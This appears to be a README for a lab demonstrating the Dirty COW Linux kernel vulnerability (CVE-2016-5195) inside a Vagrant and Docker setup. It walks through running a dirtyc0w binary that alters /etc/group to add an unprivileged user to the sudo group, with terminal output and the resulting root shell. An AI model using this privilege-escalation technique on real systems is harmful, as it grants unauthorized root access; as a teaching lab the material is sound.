zakariamaaraki/dirty-cow-cve-2016-5195-Exploit the dirtycow vulnerability to login as root
Firstly clone the project
git clone https://github.com/BrolyCode/Dirty-Cow.git
Get into the folder
cd Dirty-Cow
Then run up the environment with the command
vagrant up
Once the server is built, we will ssh into it
vagrant ssh
change to the root user
sudo -i
Now we can log on as the hacker
docker exec -it -u hacker nginx bash
In the directory we are logged into we have the following files
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
If we cat the file /etc/group we see
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
We can try to login as a root
sudo -i
But the system will refuse to, because We don't have the right to access. We will now exploit the fail on /etc/group
./dirtyc0w
It will print out the following to the terminal, we must wait a litle bit of time (2/3 minutes).
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
Then we will cat /etc/group again
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
Login as root
sudo -i
root@27862a2f9973:~#
Exit back to your host machines terminal and issue vagrant destroy